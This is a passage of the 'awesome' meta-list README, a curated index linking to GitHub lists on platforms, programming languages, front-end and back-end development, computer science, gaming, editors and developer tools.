<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <h3><a href="https://www.producthunt.com/posts/shareful">My macOS app Shareful is on Product Hunt</a></h3> <br> <br> <br> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://standardresume.co/tech"> <img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/> </a> <br> <br> <a href="https://retool.com/?utm_campaign=sindresorhus"> <img src="https://sindresorhus.com/assets/thanks/retool-logo.svg" width="210"/> </a> </p> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. - [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. - [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework. - [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed. ## Back-End Development - [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. - [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. - [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) 